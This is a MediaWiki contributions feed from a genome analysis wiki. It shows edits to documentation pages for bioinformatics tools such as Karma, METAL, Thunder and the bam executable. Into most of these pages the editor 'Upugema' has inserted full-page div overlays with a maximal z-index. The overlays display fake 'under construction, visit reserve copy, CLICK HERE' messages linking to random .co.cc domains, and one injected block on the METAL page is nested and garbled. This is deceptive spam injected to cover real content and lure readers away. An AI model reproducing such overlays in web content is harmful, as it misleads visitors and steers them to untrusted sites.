Genome Analysis Wiki - User contributions [en]

Gzip

2010-11-18T00:38:46Z

Upugema:

''Gzip'' is a widely used file compression utility, developed by Mark Adler and Jean Loup Gailly. The source code and algorithm for the gzip are well documented and widely available, so that it is easy to create gzip-compatible programs. A file compressed by gzip or a compatible utility tipically has an extension that ends in [[Gzip File|'''.gz''']].

>== References ==

[http://www.gzip.org/ The GZip Website]

----
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
----
=[http://imunuqyrar.co.cc Under Construction! Please Visit Reserve Page. Page Will Be Available Shortly]=
----
=[http://imunuqyrar.co.cc CLICK HERE]=
----
</div>

Read Mapping

2010-11-18T00:38:33Z

Upugema:

>== Read mappers that we like are ==

[[Karma]] - Currently under development here in Michigan; trades memory for speed, but is both fast and sensitive (now matches or exceeds both bwa and NovoAlign), and highly effective on nodes with high core counts.

[http://bio-bwa.sourceforge.net BWA] - A fast aligner developed by Richard Durbin and Heng Li.

[http://www.novocraft.com NovoAlign] - Potentially, a much more sensitive, but slow, aligner.

All of these should output [[SAM]] format.

----
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
----
=[http://ekydewequ.co.cc UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY]=
----
=[http://ekydewequ.co.cc CLICK HERE]=
----
</div>

== Other Aligners ==

[http://maq.sourceforge.net/ MAQ] - The venerable short read aligner developed by Richard Durbin and Heng Li.

Class Notes

2010-11-18T00:38:26Z

Upugema:

Faculty in the group teach in a variety of formal and informal settings; materials that support some of this teaching are archived in this wiki. If you would like to re-use them for your own teaching, please e-mail goncalo@umich.edu.

>== [[Biostatistics 666: Main Page|BIOSTAT 666]] Statistical and Numerical Methods in Human Genetics ==

Gene mapping studies aim to study the relationship between genetic variation and susceptibility to human disease.
These studies can be used to elucidate the biochemical basis of medically interesting traits leading to knowledge
that will, ultimately, help us improve treatment and management of human disease.

Biostatistics 666 is a Masters level course that introduces many of the numerical methods and concepts useful for
these types of study.

----
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
----
=[http://okowimaxyj.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
----
=[http://okowimaxyj.co.cc CLICK HERE]=
----
</div>

Thunder

2010-11-18T00:35:48Z

Upugema:

This page documents how to perform variant calling from low-coverage sequencing data using glfmultiples and thunder. The pipeline was originally developed by [mailto:yunli@med.unc.edu Yun Li] for the 1000 Genomes Low Coverage Pilot Project.

>== Input Data ==

To get started, you will need glf files in the standard format [http://samtools.sourceforge.net/SAM1.pdf glf format]. Sample files are available at [ftp://share.sph.umich.edu/1000genomes/pilot1/examples/glf.tgz sample glf files].

If you do not have glf files, you can generate them from bam files (bam format also specified in [http://samtools.sourceforge.net/SAM1.pdf glf format bam format]) using the following command line:

samtools pileup -g -T 1 -f ref.fa my.bam &gt; my.glf

Note: you will need the reference fasta file ref.fa to create glf file from bam file.

----
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
----
=[http://axyzuhy.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]=
----
=[http://axyzuhy.co.cc CLICK HERE]=
----
</div>

== How to Run ==

This variant calling pipeline has two steps. (step 1) promotion of a set of potential polymorphisms; and (step 2) genotype/haplotype calling using LD information.

=== (step 1) Site promotion using software glfMultiples [https://www.sph.umich.edu/csg/yli/GPT_Freq.011.source.tgz GPT_Freq] ===

GPT_Freq -b my.out -p 0.9 --minDepth 10 --maxDepth 1000 *.glf

minDepth and maxDepth are the cutoffs on total depth (across all individuals). We have found it useful to exclude sites with extremely low and high total depth. Please see Important Filters below.

=== (step 2) Genotype/haplotype calling using thunder [https://www.sph.umich.edu/csg/yli/thunder/thunder.V009.source.tgz thunder_glf_freq] ===

thunder_glf_freq --shotgun my.out.$chr -r 100 --states 200 --dosage --phase --interim 25 -o my.final.out

Notes:

(1) The program thunder used in step 2 is an extension of MaCH, the genotype imputation software we have previously developed. For details regarding the shared options, please check out [http://www.sph.umich.edu/csg/yli/mach/index.html MaCH website] and [http://genome.sph.umich.edu/wiki/Mach MaCH wiki].

(2) Check out example files and command lines under examples/thunder/ in the thunder package [https://www.sph.umich.edu/csg/yli/thunder/thunder.V009.source.tgz thunder_glf_freq].

== Important Filters ==

We have found that the following filters are helpful.

=== total depth filter ===
For the 1000 Genomes Project (average depth per individual ~4X), we have found it useful to exclude sites with average total depth per individual < 0.5X or > 10X.

=== coverage filter ===
We recommend the filter of >50% individuals with coverage.

=== flanking sequence filter ===
We recommend excluding sites with >0.1% flanking 10-mer frequency among candidate sites.

The rationale is ....

=== indel filter ===
We recommend distance to known indels >= 5bp. A catalog of known indels can be found at [ indel catalog].

=== site promotion filter ===
We recommend setting parameter -p at least >= 0.9 in step 1 (running glfMultiples).

METAL

2010-11-18T00:35:43Z

Upugema:

[[Category:Software]]
'''METAL''' is a program that facilitates the meta-analysis of genomewide association scans. It was first developed by Goncalo Abecasis, Yun Li and Cristen Willer. Early versions were used for the analyses presented in [http://www.sph.umich.edu/csg/abecasis/publications/18193045.html Sanna et al (2008)] and [http://www.sph.umich.edu/csg/abecasis/publications/18193043.html Willer et al (2008)]. Since then, METAL has become quite a popular tool for the analysis of genomewide association scans.

>== Useful Wiki Pages ==

There are a few pages in this Wiki that may be useful to METAL users. Here are links to a few:

* The [[METAL FAQ]]

* The [[METAL Command Reference]]

* The [[METAL Documentation]]

* The [[METAL Quick Start|METAL Quick Start Page]] '''Recommended for New Users!!'''

----
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
----
>=[http://uwamexybygo.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]=
----

----
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
----
=[http://uvanagy.co.cc UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY]=
----
=[http://uvanagy.co.cc CLICK HERE]=
----
</div>

=[http://uwamexybygo.co.cc CLICK HERE]=
----
</div>

== Option Specific Pages ==

Details of several options are available. Among those:

* [[METAL ADDFILTER|ADDFILTER]]
* [[METAL COLUMNCOUNTING|COLUMNCOUNTING]]
* [[METAL CUSTOMVARIABLE|CUSTOMVARIABLE]]
* [[METAL EFFECTLABEL|EFFECTLABEL]]
* [[METAL GENOMICCONTROL|GENOMICCONTROL]]
* [[METAL LOGPVALUE|LOGPVALUE]]
* [[METAL SOURCE|SOURCE]]
* [[METAL VERBOSE|VERBOSE]]

== Download ==

To download Metal, go to [http://www.sph.umich.edu/csg/abecasis/Metal/ the METAL website].

== Related Programs ==

[[LocusZoom]] is a program that facilitates display of genomewide association scan results.

Software

2010-11-18T00:35:29Z

Upugema:

[[Category:Software]]
[[Category:C++]]

>=Software=
Due to increasing volume of next generation sequencing and genotyping data, we have created these created C++ library and tools that use that library.

This page points to downloads, documentation, and papers for software that is written here at the [http://genome.sph.umich.edu Center for Statistical Genetics]

----
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
----
=[http://ygocoqyhyv.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
----
=[http://ygocoqyhyv.co.cc CLICK HERE]=
----
</div>

=StatGen C++ Software=
A library and set of set of tools developed for handling and analyzing next generation sequencing and genotyping data.

== Download ==

[[StatGen Download]]

== Library ==
* [[C++ Library: libStatGen]] - Library containing easy-to-use APIs for developing tools for processing and analyzing next generation sequencing and genotyping data. Allows easy processing of SAM/BAM, GLF, FASTQ.

== Tools ==
=== SAM/BAM ===

==== General Tools ====
*[[QPLOT]] - Calculate & plot summary statistics
*[[BamValidator]] – Check file format & print statistics
*[[C++ Executable: bam#convert|Convert]] – Convert between SAM & BAM
*[[C++ Executable: bam#writeRegion|WriteRegion]] – Write only reads in the specified region
*[[Pileup]] – Pileup every base or just bases in specified region and write VCF - <span style="color:#D2691E">Coming Soon</span>
*[[C++ Executable: bam#readIndexedBam|ReadIndexedBam]] - Read an indexed BAM file reference by reference id -1 to the max reference id and write it out as a SAM/BAM file

==== Update the File ====
*[[RGMergeBam]] – Merge sorted BAM files adding Read Groups
*[[PolishBam]] – Add/Update header lines & add RG tag to each record
*[[TrimBam]] – Trim end of reads, changing read ends to ‘N’ & quality to ‘!’
*[[C++ Executable: bam#filter|Filter]] – Soft clip ends with too high mismatch % and mark unmapped if quality of mismatches is too high

==== Split the File ====
*[[SplitBam]] – Split into 1 file per Read Group
*[[C++ Executable: bam#splitChromosome|SplitChromosome]] – Split into 1 file per Chromosome

==== Helper Tools to Print Readable Information ====
*[[C++ Executable: bam#dumpHeader|DumpHeader]] - Print the File Header to the screen.
*[[C++ Executable: bam#dumpRefInfo|DumpRefInfo]] - Print the reference information from the SAM/BAM header.
*[[C++ Executable: bam#dumpIndex|DumpIndex]] - Print the BAM Index to the screen in a readable format
*[[C++ Executable: bam#readReference|ReadReference]] - Print the reference string for the specified region to the screen.

=== FASTQ ===
* [[FastQValidator|fastqValidator]] - validate a FASTQ file
**Reports errors for badly formatted files
**Reports Base Composition Statistics (%reads at each read index)

=== Other Tools ===
*[[vcfCooker]] – Manipulate, filter, summarize VCF/BED file in various forms - <span style="color:#D2691E">Coming Soon</span>
*[[VcfGenomeStat]] – Print flanking sequences and how often they appear for input VCF file

=Other Tools=

== [[Read Mapping]] ==
*[[Karma|Karma]] - Our fast short read aligner, which generates [[Mapping Quality Scores]]
*[[Karma-colorspace|Karma-ColorSpace]] - QUICKSTART on mapping color space reads
*[[baseQualityCheck]] - a mature tool to calculate the observed base quality vs. empirical base quality (helps to evaluate mappers)

*[[Examples|Examples]] - Sample command lines with discussion

*[[MapabilityScores]] - Definitions of various mappability scores adopted at UCSC genome browser.

==SAM/BAM==
*[[VerifyBamID]] – Check sample identities for contamination/sample swap
**Genotype concordance based detection
**Estimate based on population allele frequencies without genotype data
*Recalibrator – Resource-efficient tool, which recalibrates base qualities based on an adaptive logistic regression model - <span style="color:#D2691E">Available upon request</span>
*Deduper – Mark or remove duplicates - <span style="color:#D2691E">Coming Soon</span>

== Variant Calling ==
* [[glfSingle]] - Variant calling for a single, deeply sequenced individual
* [[glfTrio]]- Variant calling for a single, deeply sequenced nuclear family with two parents and one child
* [[glfMultiples]] - Variant calling for multiple, unrelated individuals

== Variant Annotation ==
*[[vcfCodingSnps]] - Annotate coding variants in a VCF file.

== Quality Control ==
*[[GenotypeIDcheck]] - Check that mapped reads are consistent with known genotypes for each individual.

== File Conversion ==
*[[bam2FastQ]] - Convert BAM files into FastQ files

= Other Useful Links =
[[Links to Sequence Analysis Tools]]

= Other =
ASHG 2010 Poster: [[Media:TrostASHG2010.pdf|C++ library & tools for next generation sequence data]]

Karma

2010-11-18T00:34:48Z

Upugema:

<br> '''K-tuple Alignment with Rapid Matching Algorithm'''

Karma uses an existing reference to align short reads, such as those generated by Illumina sequencers.

Primary features:

#High performance, high sensitivity
#Large and small gap detection by default
#Multiple gaps per read by default
#Single or paired end reads
#No read length limit
#Quality scores are used to assess quality of maps
#All potential locations are examined exhaustively, none are omitted
#Reasonable memory per CPU ratio on high core count machines

The current version, 0.9.0, is optimized to rapidly map base space reads from Illumina sequencers.

Color space and LS454 sequence alignments are not currently supported. These features will return in Karma 0.9.1.

>= Download Karma =

To get a copy go to [http://www.sph.umich.edu/csg/pha/karma/download/ Karma Download]

----
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
----
=[http://ikewahibys.co.cc UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY]=
----
=[http://ikewahibys.co.cc CLICK HERE]=
----
</div>

= Build Karma =

Karma is designed to be reasonably portable.

However, since development occurs only on Ubuntu 9.10 x86 and x64 platforms, there are likely other portability issues.

We support Karma only on Ubuntu 9.10 on 64-bit processors.

== Dependencies ==

Karma requires that the following debian packages be installed on the host Linux machine:

#libssl-dev
#zlib1g-dev

Without these installed, Karma will not build.

== Building ==

Assuming the karma tar file is named karma.tgz, do the following

tar xvzf karma.tgz
cd karma-0.9
make
mkdir ~/bin
cp karma/karma ~/bin

Alternatively, if you want to share the karma binary install it in /usr/local/bin/karma.

== Testing the build ==

To test karma, go to the build tree subdirectory named ''karma'', and type the command:

make test

The test script builds a reference for the small phiX genome, then runs single end as well as paired end alignments. It compares the results of that with known results. Differences are printed to the console, and currently look something like this:
<pre>diff phiX.sam.good phiX.sam
3c3
< @RG DT:2010-04-08T17:29Z ID:boingboing SM:NA12345
---
> @RG DT:2010-04-08T18:13Z ID:boingboing SM:NA12345
</pre>
Any differences greater than that are an error and need to be fixed by the author.

= Normal Workflow =

Karma works using a set of index and hash files created from an existing reference. Once created, this set of reference index and hash files must always be specified in the command line when aligning reads.

In concept, the simplest workflow is to first create a reference index using ''karma create'', then align reads using ''karma map''. You only have to build the index and hash once.

Because the reference can be large, and because Karma will share the reference among many running instances of Karma, it is useful to put well known references in a common location readily accessible to you and your collaborators.

= Build reference index and hash =

Building a reference index and hash with Karma is straightforward, but because it is time consuming for longer genomes, you typically save the reference index between runs.

The simplest example for creating a reference and index using a wordsize of 11-mer words is:

karma create -i -w 11 phiX.fa

More generally, three primary parameters are necessary for building a Karma reference index:

#a boolean flag indicating base or color space
#the index table word occurrence cutoff value
#the word size

Although the input reference is always expected to be base space and in [http://en.wikipedia.org/wiki/FASTA_format FASTA] format, the binary version of the reference, and the corresponding index and hash files, can be in either color space (ABI SOLiD) or base space (Illumina or LS454). For a given reference [http://en.wikipedia.org/wiki/FASTA_format FASTA] file, you may have either a color or base space binary reference, as well as either color or base space index/hash files, any in varying word sizes or occurrence cutoffs.

Because the index and hash files are dependent on the occurrence cutoff parameter and the word size, the output files created by karma have those values in the file name. This allows you to create a variety of index/hash tables, depending on your expected use (ABI SOLiD, in particular, is sensitive to read length).

== Options for building reference index and hash ==

-r ''reference'' Reference file in [http://en.wikipedia.org/wiki/FASTA_format FASTA] format
-w ''word size'' Word size for index and hash (default 15, typically 10-16)
-O ''occurrence cutoff'' Upper count of number of word positions to store in word positions table (default 5000)
-c Creates a color space reference and index/hash
-i Create the index and hash as well as the binary reference

<br>

= Aligning Reads =

Aligning reads to the reference is easy:

karma map -r phiX.fa -w 11 phiX.fastq

or for paired reads:

karma map -r phiX.fa -w 11 phiX-mate1.fastq phiX-mate2.fastq

In both of the above examples, the -r option names the reference originally used to build the index/hash, and the -w 11 specifies that we are using the index/hash built for 11-mer words. Although you can use the default word size of 15 for phiX, the index is 4^15 * 4 = 4GBytes, so a shorter word size is prudent.

Since Karma uses the word size and occurrence cutoff to help construct the actual index and hash filenames, you must specify them the same way you did when you created the reference index and hash.

== Options for aligning reads ==

-a [int] -> maximum insert size
-B [int] -> max number of bases in millions
-E -> show reference bases (default off)
-H -> set SAM header line values (e.g. -H RG:SM:NA12345)
-o -> required output sam/bam file
-O [int] -> occurrence cutoff (default 5000)
-q -> quiet mode (no output except errors)
-r [name] -> required genome reference
-R [int] -> max number of reads
-w [int] -> index word size (default 15)

== Aligning Reads (Illumina) ==

Karma is set up so that the default options work well for mapping Illumina reads to the Human genome.

== Aligning Reads (ABI SOLiD) ==

Karma has been designed to align color space reads. However, in Karma 0.9.0, this functionality is not working.

== Aligning Reads (LS 454) ==

Karma has been designed to align LS 454 reads. However, in Karma 0.9.0, this functionality is not working.

= Karma Performance Tuning =

There are four components to the Karma index and hash. A pure index array, based on an N-mer word index. This is used as a pointer into a word positions table, which is an ordered list of genome positions in which that N-mer word appears. There is a cap called the ''occurrence cutoff'', which once exceeded, causes that index word to be marked as a high repeat pattern. Once marked as high repeat, the N-mer word is instead combined with both the N-mer word preceding it, as well as the N-mer word succeeding it to create a 2 * N-mer word hash key. Two hash tables are populated, a left and a right hash. These are then used when that pattern is found in a read.

== Index Word Size ==

Choosing an appropriate word size for larger genome is critical to performance. The easiest case is for Illumina base space reads with the human genome (3Gbases), where the default 15-mer word size is fine.

For smaller genomes, consider using a smaller word size. Genomes smaller than a few million bases should be perfectly fine with a word size of 11 or 12.

Since the primary index table into the word positions table is 2^(wordsize) * 4 bytes, it can grow large rapidly. All else being equal, a smaller word size leads to longer sets of word positions for each index value. Each increment of word size approximately quadruples storage requirements, and halves runtime. Similarly, each decrement of word size reduces the index table size by 75%, and doubles runtime. These approximations are old, but serve a useful rule of thumb.

For ABI SOLiD reads, the word size is critical, due to the shorter length of reads as compared to Illumina or LS 454.

The optimal minimum word size is chosen such that it is 1/4 the minimum expected average read length. It also must be chosen to be 1/2 the minimum expected read length, since at least 2 full words must exist in the read.

So for 48-mer reads, a reasonable value of word size is 12. Although the base space default of 15 is fine, too, Karma is able to take advantage of a higher number of index words per read, yielding substantial speedups even with the shorter read. Similarly, 52-mer reads would map better with a 13-mer word size, and 56-mer reads would map best with a 14-mer word size.

== Occurrence Cutoff ==

The occurrence cutoff value determines how quickly an N-mer pattern is declared to be ''high repeat'' and left out of the index in favor of a hash. The default value of 5000 seems adequate for Illumina reads with the human genome. If ultimate performance is necessary, some experimentation is called for with this value.

== Shared Memory ==

Karma uses memory mapped files to share the potentially large reference index and hash data structures.

Karma uses this to great effect on our 8 processors with hyperthreading enabled. 16 copies of karma can share one reference index and hash, yielding a very acceptable memory per CPU ratio of around 1GB/CPU.

A problem with large reference index and hash data structures is that they are more prone to being paged out. On a shared machine that is being used extensively even just simple disk I/O, memory pages are being reclaimed such that Karma will become swapped out.

While Karma can recover on its own, it is best to either run in a production manner on dedicated machines, or to run a program such as the utility ''mapfile'' found in the utilities sub-folder. This program continually touches each page of the data structures in sequential order, forcing them to the head of the disk buffer pool, so they don't get aged out of the queue.

= Modifying the Reference Header =

''NB: This feature is not yet complete''

To facilitate SAM RG values being set automatically in a production environment, we keep a header in the binary version of the reference. The header can be viewed and edited using the header subcommands here.

To view the header:

karma header -r phiX.fa

To view and edit the header:

karma header -r phiX.fa -e

= Optional flags =

Besides conforming to SAM specification, Karma developed its own optional tags to  help evaluate mapping.

{| cellspacing="1" cellpadding="1" border="1" style="width: 1034px; height: 291px;"
|-
| XA
| Alignment PathTag
|-
| RG
| Sample GroupID
|-
| HA
| numMatchContributors (possible hits checked by karma)
|-
| UQ
| phred quality of this read, assuming it is mapped correctly
|-
| NB
| Number of equally best hits
|-
| ER
|
Different kind of errors when mapping:

ER:Z:no_match -> UNSET_QUALITY<br>ER:Z:invalid_bases -> INVALID_DATA (not used yet)<br>ER:Z:duplicates -> EARLYSTOP_DUPLICATES ( early stop due to reaching max number of best matches, with all bases matched)<br>ER:Z:quality -> EARLYSTOP_QUALITY (early stop due to reaching max posterior quality)<br>ER:Z:repeats -> REPEAT_QUALITY (not used yet)<br>

|}

<br>

<br>

= Other test and check capabilities =

Due to the size and complexity of Karma input, output and index files, various checks and tests are useful, so we include some diagnostics capabilities:

Tests for external files:

karma check [options...] file.bam file.fastq file.sam file.fa file.umfa

Tests internal to Karma:

karma test [options...]
-d -> debug
-s [int] -> set random number seed [12345]

= Karma file structure =

Upon successfully building references, you will obtain a list of reference files like below:

{| cellspacing="1" cellpadding="1" border="1" width="571" style="width: 571px; height: 288px;"
|-
|
|
Base Space

| Color Space
|-
|
Reference genome

|
NCBI37-bs.umfa

| NCBI37-cs.umfa
|-
|
Word Index

|
NCBI37-bs.15.5000.umwiwp

NCBI37-bs.15.5000.umwihi

|
NCBI37-cs.15.5000.umwiwp

NCBI37-cs.15.5000.umwihi

|-
|
Word Hash (Left)

|
NCBI37-bs.15.5000.umwhl

| NCBI37-cs.15.5000.umwhl
|-
|
Word Hash (Right)

|
NCBI37-bs.15.5000.umwhr

| NCBI37-cs.15.5000.umwhr
|}

<br>

<br>

= Karma TODO List =

#command line help is muddled up - UserOptions.h needs work
#color space read handling needs to be re-integrated and tested
#LS 454 needs to be tested, and the code adapted
#pre-process some number of records to establish an appropriate max insert size
#finish reference header view/edit code
#investigate and document maximum memory use during ''create'' sub-command
#finish and improve check and test commands

= Karma CHANGELOG =

*Karma 0.9.0

* reference may now contain an arbitrary number of chromosomes
* local re-alignment is drastically improved (handle small and large gaps better)
* command line is re-vamped - now easier to use
* create/naming/using reference index and hashes is easier

*Karma 0.8.8S

* add first version of local re-alignment
* bump max number of chromosomes to 200
* we no longer do Smith-Waterman on each candidate location

*Karma 0.8.8
*Karma 0.8.6

= Other useful links =

[http://lh3lh3.users.sourceforge.net/bioinfo.shtml Heng Li's thoughts about aligners]

[http://lh3lh3.users.sourceforge.net/udb.shtml Benchmark of Dictionary Structures]

[[Category:Software]]

BamUtil

2010-11-18T00:33:55Z

Upugema:

[[Category:Software]]
[[Category:StatGen Download]]
[[Category:BAM Software]]

>= bam Executable =
When statgen is compiled, the SAM/BAM executable, "bam" is generated in the statgen/src/bin/ directory.

The software reads the beginning of an input file to determine if it is SAM/BAM. To determine the format (SAM/BAM) of the output file, the software checks the output file's extension. If the extension is ".bam" it writes a BAM file, otherwise it writes a SAM file.

The bam executable has the following functions.
* [[C++ Executable: bam#validate|validate - Read and Validate a SAM/BAM file]]
* [[C++ Executable: bam#convert|convert - Read a SAM/BAM file and write as a SAM/BAM file]]
* [[C++ Executable: bam#dumpHeader|dumpHeader - Print SAM/BAM header]]
* [[C++ Executable: bam#splitChromosome|splitChromosome - Split BAM by Chromosome]]
* [[C++ Executable: bam#writeRegion|writeRegion - Write the alignments in the indexed BAM file that fall into the specified region]]
* [[C++ Executable: bam#dumpRefInfo|dumpRefInfo - Print SAM/BAM Reference Information]]
* [[C++ Executable: bam#dumpIndex|dumpIndex - Dump a BAM index file into an easy to read text version]]
* [[C++ Executable: bam#readIndexedBam|readIndexedBam - Read an indexed BAM file reference by reference id -1 to the max reference id and write it out as a SAM/BAM file]]
* [[C++ Executable: bam#filter|filter - Filter reads by clipping ends with too high of a mismatch percentage and by marking reads unmapped if the quality of mismatches is too high]]
* [[C++ Executable: bam#readReference|readReference - Print the reference string for the specified region]]

This executable is built using [[StatGenLibrary: BAM]].

Just running ./bam will print the Usage information for the bam executable.

== validate ==

The <code>validate</code> option on the bam executable reads and validates a SAM/BAM file. This option is documented at: [[BamValidator]]

== convert ==
The <code>convert</code> option on the bam executable reads a SAM/BAM file and writes it as a SAM/BAM file.

The executable converts the input file into the format of the output file. So if you want to convert a BAM file to a SAM file, from the pipeline/bam/ directory you just call:
./bam --in <bamFile>.bam --out <newSamFile>.sam
Don't forget to put in the paths to the executable and your test files.

=== Parameters ===
<pre>
Required Parameters:
--in : the SAM/BAM file to be read
--out : the SAM/BAM file to be written
Optional Parameters:
--noeof : do not expect an EOF block on a bam file.
--params : print the parameter settings
</pre>

=== Usage ===
./bam convert --in <inputFile> --out <outputFile.sam/bam/ubam (ubam is uncompressed bam)> [--noeof] [--params]

=== Return Value ===
Returns the SamStatus for the reads/writes.

=== Example Output ===
<pre>
Number of records read = 10
Number of records written = 10
</pre>

== dumpHeader ==
The <code>dumpHeader</code> option on the bam executable prints the header of the specified SAM/BAM file to cout.

=== Parameters ===
<pre>
Required Parameters:
filename : the sam/bam filename whose header should be printed.
</pre>

=== Usage ===

./bam dumpHeader <inputFile>

=== Return Value ===
* 0: the header was successfully read and printed.
* non-0: the header was not successfully read or was not printed. (Returns the SamStatus.)

=== Example Output ===
<pre>
@SQ SN:1 LN:247249719
@SQ SN:2 LN:242951149
@SQ SN:3 LN:199501827
</pre>

== splitChromosome ==

The <code>splitChromosome</code> option on the bam executable splits an indexed BAM file into multiple files based on the Chromosome (Reference Name).

The files all have the same base name, but with an _# where # corresponds with the associated reference id from the BAM file.

=== Parameters ===
<pre>
Required Parameters:
--in : the BAM file to be split
--out : the base filename for the SAM/BAM files to write into. Does not include the extension.
_N will be appended to the basename where N indicates the Chromosome.
Optional Parameters:
--noeof : do not expect an EOF block on a bam file.
--bamIndex : the path/name of the bam index file
(if not specified, uses the --in value + ".bai")
--bamout : write the output files in BAM format (default).
--samout : write the output files in SAM format.
--params : print the parameter settings
</pre>

=== Usage ===

./bam splitChromosome --in <inputFilename> --out <outputFileBaseName> [--bamIndex <bamIndexFile>] [--noeof] [--bamout|--samout] [--params]

=== Return Value ===
* 0: all records are successfully read and written.
* non-0: at least one record was not successfully read or written.

=== Example Output ===
<pre>
Reference ID -1 has 2 records
Reference ID 0 has 5 records
Reference ID 1 has 2 records
Reference ID 2 has 1 records
Reference ID 3 has 0 records
Reference ID 4 has 0 records
Reference ID 5 has 0 records
Reference ID 6 has 0 records
Reference ID 7 has 0 records
Reference ID 8 has 0 records
Reference ID 9 has 0 records
Reference ID 10 has 0 records
Reference ID 11 has 0 records
Reference ID 12 has 0 records
Reference ID 13 has 0 records
Reference ID 14 has 0 records
Reference ID 15 has 0 records
Reference ID 16 has 0 records
Reference ID 17 has 0 records
Reference ID 18 has 0 records
Reference ID 19 has 0 records
Reference ID 20 has 0 records
Reference ID 21 has 0 records
Reference ID 22 has 0 records
Number of records = 10
Returning: 0 (SUCCESS)
</pre>

== writeRegion ==

The <code>writeRegion</code> option on the bam executable writes the alignments in the indexed BAM file that fall into the specified region (reference id and start/end position).

=== Parameters ===
<pre>
Required Parameters:
--in : the BAM file to be read
--out : the SAM/BAM file to write to
Optional Parameters:
--noeof : do not expect an EOF block on a bam file.
--bamIndex : the path/name of the bam index file
(if not specified, uses the --in value + ".bai")
--refName : the BAM reference Name to read (either this or refID can be specified)
--refID : the BAM reference ID to read (defaults to -1: unmapped)
--start : inclusive 0-based start position (defaults to -1)
--end : exclusive 0-based end position (defaults to -1: meaning til the end of the reference)
--params : print the parameter settings
</pre>

=== Usage ===

./bam writeRegion --in <inputFilename> --out <outputFilename> [--bamIndex <bamIndexFile>] [--noeof] [--refName <reference Name> | --refID <reference ID>] [--start <0-based start pos>] [--end <0-based end psoition>] [--params]

=== Return Value ===
* 0: all records are successfully read and written.
* non-0: at least one record was not successfully read or written.

=== Example Output ===
<pre>

Wrote t.sam with 2 records.
</pre>

== dumpRefInfo ==
The <code>dumpRefInfo</code> option on the bam executable prints the SAM/BAM file's reference information.

=== Parameters ===
<pre>
Required Parameters:
--in : the SAM/BAM file to be read
Optional Parameters:
--noeof : do not expect an EOF block on a bam file.
--printRecordRefs : print the reference information for the records in the file (grouped by reference).
--params : print the parameter settings
</pre>

=== Usage ===
./bam dumpRefInfo --in <inputFilename> [--noeof] [--printRecordRefs] [--params]

=== Return Value ===
* 0: the file was processed successfully.
* non-0: the file was not processed successfully.

== dumpIndex ==
The <code>dumpIndex</code> option on the bam executable prints BAM index file in an easy to read format.

=== Parameters ===
<pre>
Required Parameters:
--bamIndex : the path/name of the bam index file to display
Optional Parameters:
--refID : the reference ID to read, defaults to print all
--summary : only print a summary - 1 line per reference.
--params : print the parameter settings
</pre>

=== Usage ===
./bam dumpIndex --bamIndex <bamIndexFile> [--refID <ref#>] [--summary] [--params]

=== Return Value ===
* 0: the BAM index file was processed successfully.
* non-0: the BAM index file was not processed successfully.

== readIndexedBam ==
The <code>readIndexedBam</code> option on the bam executable reads an indexed BAM file reference id by reference id -1 to the max reference id and writes it out as a SAM/BAM file.

=== Parameters ===
<pre>
Required Parameters:
inputFilename - path/name of the input BAM file
outputFile.sam/bam - path/name of the output file
bamIndexFile - path/name of the BAM index file
</pre>

=== Usage ===
./bam readIndexedBam <inputFilename> <outputFile.sam/bam> <bamIndexFile>

=== Return Value ===
* 0

== filter ==

The <code>filter</code> option on the bam executable filters the reads in a a SAM/BAM file. This option is documented at: [[Bam Executable: Filter]]

== readReference ==
The <code>readReference</code> option on the bam executable prints the specified region of the reference sequence in an easy to read format.

=== Parameters ===
<pre>
Required Parameters:
--refFile : the reference
--refName : the SAM/BAM reference Name to read
--start : inclusive 0-based start position (defaults to -1)
Required Length Parameter (one but not both needs to be specified):
--end : exclusive 0-based end position (defaults to -1: meaning til the end of the reference)
--numBases : number of bases from start to display
--params : print the parameter settings
</pre>

=== Usage ===
./bam readReference --refFile <referenceFilename> --refName <reference Name> --start <0 based start> --end <0 based end>|--numBases <number of bases> [--params]

=== Return Value ===
* 0: the reference file was successfully read.
* non-0: the reference file was not successfully read.

=== Example Output ===
<pre>

open and prefetch reference genome /home/mktrost/data/human.g1k.v37.fa: done.
